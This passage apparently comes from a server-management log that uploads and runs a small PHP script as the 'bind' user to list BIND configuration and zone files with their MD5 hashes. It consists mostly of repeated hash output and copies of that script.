MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:45:26: Establishing a connection
2026-04-24 11:45:27: 

PUT: /tmp/pkp767730

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 11:45:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp767730; rm /tmp/pkp767730'

2026-04-24 11:45:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 11:45:28: Establishing a connection
2026-04-24 11:45:29: 

PUT: /tmp/pkp349169

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
